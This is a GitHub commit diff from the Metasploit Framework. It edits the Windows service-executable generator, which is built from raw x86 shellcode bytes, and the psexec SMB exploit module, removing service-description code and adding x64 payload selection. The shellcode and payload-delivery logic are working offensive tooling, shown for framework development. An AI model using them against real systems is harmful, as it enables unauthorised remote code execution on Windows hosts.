Skip to content

Commit 808f87d

Browse files
Florian Gaultieragix
authored andcommitted
SERVICE_DESCRIPTION doesn't concern this PR
1 parent bb4e9e2 commit 808f87d

File tree

2 files changed

+6
-19
lines changed

2 files changed

+6
-19
lines changed

lib/msf/util/exe.rb

Lines changed: 1 addition & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -539,20 +539,6 @@ def self.to_win32pe_service(framework, code, opts={})
539539
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
540540
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
541541

542-
code_service_description = ""
543-
544-
if opts[:servicedescription]
545-
pushed_service_description = string_to_pushes(opts[:servicedescription])
546-
547-
code_service_description =
548-
"\x68\x3F\x00\x0F\x00\x6A\x00\x6A\x00\x68\x67\xF0\x36" +
549-
"\x76\xFF\xD5\x89\xC7"+pushed_service_name+"\x89\xE1\x68" +
550-
"\xFF\x01\x0F\x00\x51\x50\x68\x56\x28\x4B\x40\xFF\xD5\x89\xC6" +
551-
pushed_service_description+"\x89\xE1\x6A\x00\x51\x89\xE1\x51" +
552-
"\x6A\x01\x50\x68\x87\xB0\x35\xED\xFF\xD5\x56\x68\xDE\xEA\x77" +
553-
"\xAD\xFF\xD5\x57\x68\xDE\xEA\x77\xAD\xFF\xD5"
554-
end
555-
556542
precode_size = 0x42
557543
shellcode_code_offset = code_service_stopped.length + precode_size
558544

@@ -575,8 +561,7 @@ def self.to_win32pe_service(framework, code, opts={})
575561
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
576562
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
577563
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
578-
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5" +
579-
code_service_description+"\x31\xFF\x6A" +
564+
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
580565
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
581566
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
582567
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +

modules/exploits/windows/smb/psexec.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,8 +83,7 @@ def initialize(info = {})
8383
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
8484
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
8585
OptString.new('SERVICE_NAME', [false, "Servicename to to be used on target for the service binary and manager",nil]),
86-
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil]),
87-
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
86+
OptString.new('SERVICE_DISPLAYNAME', [false, "Service displayname to to be used on target for the service manager",nil])
8887
], self.class)
8988
end
9089

@@ -155,7 +154,7 @@ def exploit
155154
# Disconnect from the ADMIN$
156155
simple.disconnect("ADMIN$")
157156
else
158-
servicename = datastore['SERVICE_NAME'] || "#{rand_text_alpha(8)}"
157+
servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
159158
servicedescription = datastore['SERVICE_DESCRIPTION'] || rand_text_alpha(rand(32)+1)
160159
displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1)
161160

@@ -180,6 +179,9 @@ def exploit
180179
end
181180
exe = ''
182181
opts = { :servicename => servicename }
182+
if (datastore['PAYLOAD'].include? 'x64')
183+
opts.merge!({ :arch => ARCH_X64 })
184+
end
183185
exe = generate_payload_exe_service(opts)
184186

185187
fd << exe

0 commit comments

Comments
 (0)